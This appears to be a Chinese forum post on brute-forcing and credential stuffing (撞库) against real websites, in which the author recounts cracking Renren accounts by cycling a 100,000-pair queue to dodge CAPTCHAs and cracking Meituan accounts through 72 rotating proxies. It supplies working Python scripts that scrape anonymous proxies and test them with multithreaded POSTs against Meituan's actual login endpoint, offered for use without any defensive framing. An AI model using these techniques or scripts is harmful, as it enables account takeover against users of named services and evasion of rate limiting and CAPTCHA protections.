HTTP暴力破解、撞库,有一些惯用的技巧,比如: 1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。 我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。 这样就可以保证2/3的时间都在进行正常破解和扫号。 2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。 本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/ 首先获取代理列表 : - from bs4 import BeautifulSoup
- import urllib2
- of = open('proxy.txt' , 'w')
- for page in range(1, 160):
- html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
- soup = BeautifulSoup(html_doc)
- trs = soup.find('table', id='ip_list').find_all('tr')
- for tr in trs[1:]:
- tds = tr.find_all('td')
- ip = tds[1].text.strip()
- port = tds[2].text.strip()
- protocol = tds[5].text.strip()
- if protocol == 'HTTP' or protocol == 'HTTPS':
- of.write('%s=%s:%s\n' % (protocol, ip, port) )
- print '%s=%s:%s' % (protocol, ip, port)
- of.close()
复制代码
接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:
- #encoding=gbk
- import httplib
- import time
- import urllib
- import threading
- inFile = open('proxy.txt', 'r')
- outFile = open('available.txt', 'w')
- lock = threading.Lock()
- def test():
- while True:
- lock.acquire()
- line = inFile.readline().strip()
- lock.release()
- if len(line) == 0: break
- protocol, proxy = line.split('=')
- headers = {'Content-Type': 'application/x-www-form-urlencoded',
- 'Cookie': ''}
- try:
- conn = httplib.HTTPConnection(proxy, timeout=3.0)
- conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
- res = conn.getresponse()
- ret_headers = str( res.getheaders() )
- html_doc = res.read().decode('utf-8')
- print html_doc.encode('gbk')
- if ret_headers.find(u'/m/account/login/') > 0:
- lock.acquire()
- print 'add proxy', proxy
- outFile.write(proxy + '\n')
- lock.release()
- else:
- print '.',
- except Exception, e:
- print e
- all_thread = []
- for i in range(50):
- t = threading.Thread(target=test)
- all_thread.append(t)
- t.start()
-
- for t in all_thread:
- t.join()
- inFile.close()
- outFile.close()
